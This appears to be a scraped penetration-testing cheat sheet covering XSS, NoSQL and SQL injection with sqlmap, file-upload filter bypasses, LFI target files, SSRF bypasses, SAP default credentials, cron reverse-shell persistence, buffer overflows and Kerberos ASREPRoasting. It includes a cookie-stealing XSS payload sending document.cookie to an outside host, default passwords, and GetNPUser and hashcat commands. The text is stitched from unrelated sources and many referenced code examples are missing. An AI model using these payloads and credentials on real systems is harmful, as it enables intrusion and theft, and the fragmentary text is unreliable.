A cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content makes requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction. Normally a meta-policy is declared in the master policy file, but for those who can’t write to the root directory, they can also declare a meta-policy using the X-Permitted-Cross-Domain-Policies
HTTP response header.
none
No policy files are allowed anywhere on the target server, including this master policy file.
master-only
Only this master policy file is allowed.
by-content-type
[HTTP/HTTPS only] Only policy files served with Content-Type: text/x-cross-domain-policy are allowed.
by-ftp-filename
[FTP only] Only policy files whose file names are crossdomain.xml (i.e. URLs ending in /crossdomain.xml) are allowed.
all
All policy files on this target domain are allowed.
No longer recommended. Deprecated.
Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes.
Be aware that this feature may cease to work at any time.
No longer recommended. Deprecated.
This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.
Please use Content-Security-Policy
instead.
No longer recommended. Deprecated.
This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes
Obsolete since June 2021.
JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information ("claims") about users as part of authentication, session handling, and access control mechanisms.
Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.
A JWT consists of 3 parts: a header, a payload, and a signature. These are each separated by a dot, as shown in the following example:
The header and payload parts of a JWT are just base64url-encoded JSON objects. The header contains metadata about the token itself, while the payload contains the actual "claims" about the user. For example, you can decode the payload from the token above to reveal the following claims:
In most cases, this data can be easily read or modified by anyone with access to the token. Therefore, the security of any JWT-based mechanism is heavily reliant on the cryptographic signature.
The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash. Either way, this process involves a secret signing key. This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:
As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.
Without knowing the server's secret signing key, it shouldn't be possible to generate the correct signature for a given header or payload.
In other words, a JWT is usually either a JWS or JWE token. When people use the term "JWT", they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.
Explanations
Let’s say a web page has a search box, which displays the search text alongside the search results as follows : Your search results for “searchtext”:
The web page also uses the HTTP GET request method to embed the user’s input data to the query string of the URL as follows: https://example.com/action.php?query=searchtext
If the search box is susceptible to a non-persistent XSS attack, a cybercriminal can send a malicious link to an unsuspecting user and exploit the vulnerability. This is how the script-injected link could look like:
Let’s take the following example of a web page that utilizes JavaScript to manipulate a DOM element:
As you can see on the code snippet above, the value from a user input field is grabbed and appended to an element within the web page’s HTML. If an attacker can control this value, they can craft a devious value that forces their own code to be executed.
Here is an example :
Your search results for: “<script>document.location=’https://xssattacksite.com/log.php?c=’ + document.cookie</script>”
Examples
Use print instead of alert
Developers should implement a whitelist of allowable inputs, and if not possible then there should be some input validations and the data entered by the user must be filtered as much as possible.
Output encoding is the most reliable solution to combat XSS i.e. it takes up the script code and thus converts it into the plain text.
A WAF (Web Application Firewall) should be implemented as it somewhere protects the application from XSS attacks.
Use of HTTPOnly Flags on the Cookies.
The developers can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities.
Form fields
Exploit with BurpSuite using URL Encode
The developer should set up his HTML script which filters the meta-characters from user inputs.
The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacement.
Connect to the database and then look for a certain username : password IF they exist in the collection (in the database), then we have a valid entry.
The following is the query that is used in the web applications used on our login :
Functions where the query is JSON data that's send via the application :
MongoDB operators heavily used in the injections :
$eq
- matches records that equal to a certain value.
$ne
- matches records that are not equal to a certain value.
$gt
- matches records that are greater than a certain value.
$where
- matches records based on Javascript condition.
$exists
- matches records that have a certain field.
$regex
- matches records that satisfy certain regular expressions.
$ne
Inject a JSON objection {"$ne": "XYZ"} in the password field, and change the logic to become as follows :
In the case, we wanted to log in to a system as another user who is not admin :
Instruct MongoDB to find a document that its username is not equal to admin and its password is not equal to xyz, which returns the statement as true.
You can identify web technologies using “”.
Target the http://target.server.com URL using the -u flag:
Specify POST requests by specifying the -data flag:
Target a vulnerable parameter in an authenticated session by specifying cookies using the -cookie flag:
Drop all Set-Cookie requests from the target web server using the -drop-set-cookie flag:
Perform in-depth and risky attacks using the -level and -risk flags:
Specify which POST or GET parameter to target using the -p flag:
Choose a random User-Agent request header using the –random-agent flag:
Target a certain database service using the –dbms flag:
Read a request (stored via Burpsuite) target the user parameter (and no other parameters), run risky queries, and dump users and passwords:
Attempt privilege escalation on the target database
Dump everything in the database, but wait one second in-between requests.
Error-Based SQLi, dump all data from a MSSQL Database :
Here are some useful options for your pillaging pleasure:
-r req.txt
Specify a request stored in a text file, great for saved requests from BurpSuite.
--force-ssl
Force SQLmap to use SSL or TLS for its requests.
--level=1
only test against the specified parameter, ignore all others.
--risk=3
Run all exploit attempts, even the dangerous ones (could damage database).
--delay
Set a delay in-between requests, great for throttled connections.
--proxy
Set to http://127.0.0.1:8080 to pipe requests through BurpSuite for inspection.
--privesc
Attempt to elevate the privileges of the database service account.
--all
Enumerate everything inside the target database.
--hostname
Print the target database’s hostname.
--passwords
Find and exfiltrate all users and their password hashes or digests.
--dbs
Enumerate all databases accessible via the target webserver.
--comments
Enumerate all found comments inside the database.
--sql-shell
Return a SQL prompt for interaction.
--os-cmd
Attempt to execute a system command.
--os-shell
Attempt to return a command prompt or terminal for interaction.
--reg-read
Read the specified Windows registry key value.
--file-write
Specify a local file to be written to the target server.
--file-dest
Specify the remote destination to write a file to.
--technique=
Specify a letter or letters of BEUSTQ to control the exploit attempts:
B
: Boolean-based blind
E
: Error-based
U
: Union query-based
S
: Stacked queries
T
: Time-based blind
Q
: Inline queries
Forcing the database to perform some operation in which the result will be an error. Then try to extract some data from the database and show it in the error message.
Relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.
Sending payloads, observing the web application’s response and the resulting behavior of the database server. Check payloads.
UNION-based attacks allow the tester to easily extract information from the database. Because the UNION operator can only be used if both queries have the exact same structure, the attacker must craft a SELECT statement similar to the original query.
Forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.
When uploading a .php file;
When uploading a php file; You can upload the file to a different directory with lesser controls (a different directory that's not supposed to contain user-supplied files)
Before uploading a php file;
Servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.
Apache servers, for example, will load a directory-specific configuration from a file called .htaccess if one is present.
According to OWASP the following list can be used by penetration testers in order to bypass a variety of protections :
Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp
Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.
Content-Type —> Change the parameter in the request header using Burp, ZAP etc.
Put server executable extensions : .php5, .shtml, .asa, .cert
Changing letters to capital form : .aSp, .PHp3
Using trailing spaces and/or dots at the end of the filename like .asp.. . .... ... , .asp , .asp.
Use of semicolon after the forbidden extension and before the permitted extension : .asp;.jpg (Only in IIS 6 or prior)
Upload a file with 2 extensions —> file.php.jpg
Use of null character—> file.asp%00.jpg
Create a file with a forbidden extension —> file.asp:.jpg or file.asp::$data
ALSO : Combination of the above
In order to upload a php file where the file verification is done on the server side (checking if it is really a IMAGE file), we can disguise a php file as an image file.
When uploading a php file :
or, Generate a polyglot payload using exiftool :
File upload restrictions bypass by using different bug bounty techniques! Tool must be running with all its assets!
/etc/issue
: contains a message or system identification to be printed before the login prompt.
/etc/profile
: controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/version
: specifies the version of the Linux kernel
/proc/self/environ
/etc/passwd
: has all registered user that has access to a system
/etc/shadow
: contains information about the system's users' passwords
/root/.bash_history
: contains the history commands for root user
/var/log/dmessage
: contains global system messages, including the messages that are logged during system startup
/var/log/auth.log
: contains all ssh logs, (rce and log poisoning)
/var/mail/root
: all emails for root user
/home/<user>/.ssh/id_rsa
: Private SSH keys for a root or any known valid user on the server
/var/log/apache2/access.log
: the accessed requests for Apache web server
/proc/cmdline
/etc/hosts
/etc/issue
C:\boot.ini
: contains the boot options for computers with BIOS firmware
OWASP TOP 10 : SSRF, DoS, RCE, XSS
The CVSS score of a XXE is 7.5 and its severity is Medium with :
CWE-611: Improper Restriction of XML External Entity.
CVE-2019-12153: Local File SSRF
CVE-2019-12154: Remote File SSRF
CVE-2018-1000838: Billion Laugh Attack
CVE-2019-0340: XXE via File Upload
With bWAPP
XXE can be performed using the file upload method.
APEX URL that refers to Page 1 of Application 100 : http://localhost/apex/f?p=100:1:12432087235079
Source code :
JS files :
META :
Check the login process for weaknesses, such as :
Insecure transmission of login data,
Weak password requirements,
Susceptibility to brute force attacks (is there any account lockout ?),
Try to access resources without proper authorization to see if the application correctly restricts access.
https://my.app.com/apex/f?p=x:y:SESSION:::::ITEM:ITEM_VALUE
x = application ID y = page ID
Capture a request in the proxy and send it to the Intruder tool. Set your payload position on the pageID parameter
Under Payloads, choose the “Numbers” payload and set an appropriate range you’d like to test.
Run
See slide n°24 for more infos
Rewrite with wwv_flow.show :
Apache server-status is an Apache monitoring instance Available by default at http://$target/server-status
In normal cases, the server-status instance is not accessible by non-local IPs. However, due to misconfiguration, it can be publicly accessible. This leads anyone to view the great amount of data by server-status.
All URL requested by all hosts/vhosts, including obscure files/directories and session tokens
All requested client's IPs
/auth.jsp
You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).
Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions)
"Administer views" -> new View of User Fields -> Add a "Custom text" :
?q=admin/views/ajax/autocomplete/user/a
Enumeration & Exploitation
license.txt (wordpress version)
wp-activate.php
wp-content/uploads/
wp-includes/
wp-config.php
Check for usernames : /wp-json/wp/v2/users
Could leak IP addresses : /wp-json/wp/v2/pages
Credentials brute-force or use it to launch DoS attacks
/wp-json/oembed/1.0/proxy
From :
Here, the server will fetch the contents of the /admin URL and return it to the user.
Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.
In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request:
Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:
Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
Obfuscating blocked strings using URL encoding or case variation.
Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.
The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:
You can embed credentials in a URL before the hostname, using the @ character. For example:
https://expected-host@evil-host
You can use the # character to indicate a URL fragment. For example:
https://evil-host#expected-host
You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example:
https://expected-host.evil-host
You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
You can use combinations of these techniques together.
SAP*
06071992, PASS
001, 066, Custom
DDIC
19920706
000, 001, Custom
TMSADM
PASSWORD, $1Pawd2&
000
SAPCPIC
ADMIN
000,001
EARLYWATCH
SUPPORT
066
This script allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.
Directory traversal allows to download any zip from SAP server.
Send this :
SQL Injection: simple but classic, try SQL and NoSQL injection in fields values,
Send a single quote ' inside a graphql parameter to trigger the SQL injection
Debug & information disclosure: Insert bad characters in object or fields name, sometimes DEBUG mode is activated and even if you have a 403 status, you could have a good surprise,
Batching Attack: Batching is the process of taking a group of requests, combining them into one, and making a single request with the same data that all of the other queries would have made (more here). When authentication process is used with GraphQL, batch attack can be performed to simultaneously sending many queries with different credentials, it’s like a bruteforce attack but only with one request. Also, batch attack can be used against 2FA authentication, to bypass rate-limit (if it’s based on number of query by IP for example). More : https://lab.wallarm.com/graphql-batching-attack/
Takes advantage of cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Must have root permissions.
User's home directories can contain plaintext passwords. For example :
/etc directory and subdirectories
The cron configuration files and systemd timer units might contain scripts with embedded credentials.
Custom applications might store passwords in their configuration files. Check any locations where you have custom software installed.
The following is an example of PHP code that is vulnerable to LFI.
GET parameter in url
Used to read .PHP files. It is not possible to read a PHP file's content via LFI because PHP files get executed and never show the existing code. We can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13.
Commands
Like a log file :
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.
In some cases you can also send the email with the mail command line.
Check for :
Change the DNS record via nsupdate
PAM
pam_unix.so file is responsible for authentication
pam_unix.so uses the unix_verify_password function to verify to user's supplied password :
.bashsrc
Any user that log in often :
Put a nc listener
CronJob
Configure a task where every minute a reverse shell is sent to you. Add this line into your cronjob file :
Add this to the shell file :
On the attacker machine :
SSH
If you fin something interesting, check .
CAP_AUDIT_CONTROL
Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE
Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND
This feature can block system suspends
CAP_CHOWN
Allow user to make arbitrary change to files UIDs and GIDs
CAP_DAC_OVERRIDE
This helps to bypass file read, write and execute permission checks
CAP_DAC_READ_SEARCH
This only bypasses file and directory read/execute permission checks
CAP_FOWNER
This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL
Allow the sending of signals to processes belonging to others
CAP_SETGID
Allow changing of the GID
CAP_SETUID
Allow changing of the UID
CAP_SETPCAP
Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK
This helps to lock memory
CAP_MAC_ADMIN
Allow MAC configuration or state changes
CAP_NET_RAW
Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE
SERVICE Bind a socket to internet domain privileged ports
Active Directory is a widely used directory service by Microsoft that stores information about users, computers, and other resources on a network.
As with any technology, Active Directory has its own set of vulnerabilities that can be exploited by attackers to gain unauthorized access to network resources.
Some common Active Directory vulnerabilities are:
Weak passwords: Weak passwords or passwords that are easily guessable are one of the most common Active Directory vulnerabilities. Attackers can use automated tools to try multiple passwords until they find the correct one and gain access to the system.
Pass the hash attacks: Pass the hash (PtH) is a type of attack that involves stealing the hashed password of a user and using it to authenticate to other systems on the network. This type of attack is particularly dangerous because the attacker does not need to know the user's plaintext password.
Kerberos attacks: Kerberos is a network authentication protocol used by Active Directory. Kerberos attacks involve exploiting vulnerabilities in the Kerberos protocol to gain unauthorized access to network resources.
Domain controller vulnerabilities: Domain controllers are the backbone of an Active Directory environment. If an attacker gains access to a domain controller, they can take control of the entire network.
Group Policy vulnerabilities: Group Policy is a powerful tool used to manage security settings in Active Directory. Misconfigured Group Policy settings can leave a network vulnerable to attack.
Unsecured LDAP traffic: LDAP (Lightweight Directory Access Protocol) is used to communicate with Active Directory. If LDAP traffic is not encrypted, an attacker can intercept it and steal sensitive information.
Privilege escalation: If an attacker gains access to a low-privileged account, they can attempt to escalate their privileges and gain administrative access to the system.
Buffer overflows are errors that allow data that is too large to fit into a buffer of the operating system's memory that is not large enough, thereby overflowing this buffer. As a result of this mishandling, the memory of other functions of the executed program is overwritten, potentially creating a security vulnerability.
File formats binary :
Portable Executable Format (PE) - Microsoft Platforms
Executable and Linking Format (ELF) - UNIX
.text : contains the actual assembler instructions of the program. This area can be read-only to prevent the process from accidentally modifying its instructions. Any attempt to write to this area will inevitably result in a segmentation fault.
.data : contains global and static variables that are explicitly initialized by the program.
.bss : Several compilers and linkers use the .bss section as part of the data segment, which contains statically allocated variables represented exclusively by 0 bits.
Heap : is allocated from this area. This area starts at the end of the ".bss" segment and grows to the higher memory addresses.
Stack : is a Last-In-First-Out data structure in which the return addresses, parameters, and, depending on the compiler options, frame pointers are stored. C/C++ local variables are stored here, and you can even copy code to the stack. The Stack is a defined area in RAM. The linker reserves this area and usually places the stack in RAM's lower area above the global and static variables. The contents are accessed via the stack pointer, set to the upper end of the stack during initialization. During execution, the allocated part of the stack grows down to the lower memory addresses.
About Stack
Modern memory protections (DEP/ASLR) would prevent the damaged caused by buffer overflows. DEP (Data Execution Prevention), marked regions of memory "Read-Only". The read-only memory regions is where some user-input is stored (Example: The Stack), so the idea behind DEP was to prevent users from uploading shellcode to memory and then setting the instruction pointer to the shellcode. Hackers started utilizing ROP (Return Oriented Programming) to get around this, as it allowed them to upload the shellcode to an executable space and use existing calls to execute it. With ROP, the attacker needs to know the memory addresses where things are stored, so the defense against it was to implement ASLR (Address Space Layout Randomization) which randomizes where everything is stored making ROP more difficult.
strcpy
gets
sprintf
scanf
strcat
Since the stack starts with a high address and grows down to low memory addresses as values are added, the Base Pointer points to the beginning (base) of the stack in contrast to the Stack Pointer, which points to the top of the stack.
As the stack grows, it is logically divided into regions called Stack Frames, which allocate the required memory in the stack for the corresponding function. A stack frame defines a frame of data with the beginning (EBP) and the end (ESP) that is pushed onto the stack when a function is called.
The canaries are known values written to the stack between buffer and control data to detect buffer overflows. The principle is that in case of a buffer overflow, the canary would be overwritten first and that the operating system checks during runtime that the canary is present and unaltered.
Address Space Layout Randomization (ASLR) is a security mechanism against buffer overflows. It makes some types of attacks more difficult by making it difficult to find target addresses in memory. The operating system uses ASLR to hide the relevant memory addresses from us. So the addresses need to be guessed, where a wrong address most likely causes a crash of the program, and accordingly, only one attempt exists.
DEP is a security feature available in Windows XP, and later with Service Pack 2 (SP2) and above, programs are monitored during execution to ensure that they access memory areas cleanly. DEP terminates the program if a program attempts to call or access the program code in an unauthorized manner.
An even further defense mechanism is called a container, which is another layer of Data Execution Prevention. The container attempts to identify all possible results of code from data within the buffer (or the data segment) and then prevent the application from calling external functions in shared objects from the inside of the buffer. A version of this has been implemented in Cisco Security Agent, or CSA. Linux's GrSec and PaX kernel patches also implement their own version of contained memory space.
EAX
RAX
Accumulator is used in input/output and for arithmetic operations
EBX
RBX
Base is used in indexed addressing
ECX
RCX
Counter is used to rotate instructions and count loops
EDX
RDX
Data is used for I/O and in arithmetic operations for multiply and divide operations involving large values
EIP
RIP
Instruction Pointer for the stack. In other words, it tells the computer where to go next to execute the next command and controls the flow of a program.
ESP
RSP
Stack Pointer points to the top of the stack
EBP
RBP
Base Pointer is also known as Stack Base Pointer or Frame Pointer thats points to the base of the stack ; it stores the address of the beginning of the stack frame. Thus, the current stack frame is located between the address contained in EBP and the address contained in ESP.
The reconnaissance step in Active Directory penetration testing involves gathering as much information as possible about the network, systems, and domain to understand the environment. This phase includes identifying domain controllers, network topology, user accounts, group memberships, and trust relationships.
One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.
The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.
Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called “pattern_create” that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.
If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.
The EIP has been overwritten with our \x66 characters.
Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.
Examine the register and find the address of EBP
We have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.
We need a total of 1040 bytes to get to the EIP.
Here, we can use an additional 100 bytes of NOPs
150 bytes for our shellcode.
Buffer
Now we can try to find out how much space we have available to insert our shellcode.
Here we use the following character list to find out all characters we have to consider and to avoid when generating our shellcode.
We need to calculate our buffer again.
Look at the whole main function to set a breakpoint at the corresponding function so that the execution stops at this point and we can analyze the memory's content :
Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.
Requirements:
Domain
Username
Password/Password Hash
Target IP Address
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate data about organizations, individuals and other resources such as files and devices in a network - whether on the public Internet or on a corporate Intranet.
LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP), which is part of X.500, a standard for directory services in a network.
In-depth LDAP enumeration utility
ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable JSON and CSV/TSV/greppable files. Alternative of ldapsearch
Enumerate the network and its services, find the DC,
They are usually DNS Servers. They have usually LDAP listening port 389.
ASREPRoasting
Kerberoasting
Dump AD as BloodHound JSON files
Searching GPOs in SYSVOL for cpassword and decrypting
Run without creds and attempt to gather for further enumeration during the run
Sample exploits included:
CVE-2020-1472
FETCH
The next machine instruction address is read from the Instruction Address Register (IAR). It is then loaded from the Cache or RAM into the Instruction Register (IR).
DECODE
The instruction decoder converts the instructions and starts the necessary circuits to execute the instruction.
FETCH OPERANDS
If further data have to be loaded for execution, these are loaded from the cache or RAM into the working registers.
EXECUTE
The instruction is executed. This can be, for example, operations in the ALU, a jump in the program, the writing back of results into the working registers, or the control of peripheral devices. Depending on the result of some instructions, the status register is set, which can be evaluated by subsequent instructions.
UPDATE INSTRUCTION POINTER
If no jump instruction has been executed in the EXECUTE phase, the IAR is now increased by the length of the instruction so that it points to the next machine instruction.
ASREPRoast is about retrieving crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled.
This isn’t as useful as Kerberoasting, as accounts have to have DONT_REQ_PREAUTH() explicitly set for them to be vulnerable and you’re still reliant upon weak password complexity for the attack to work. But who knows, might be the only weak point you need.
Now, if you can enumerate accounts in a Windows domain that don’t require Kerberos preauthentication, you can easily request a piece of encrypted information for said accounts and efficiently crack the material offline, revealing the user’s password.
To do that you need to :
Send the KRB_AS_REQ to get the KRB_AS_REP with the encrypted information, to do so :
If you have username :
GetNPUser.py $domain/$username -no-pass -dc-ip $ip -request
If you have no username :
GetNPUser.py $domain/ -no-pass -dc-ip $ip -request
Crack hashes :
hashcat -m 18200 ticket wordlist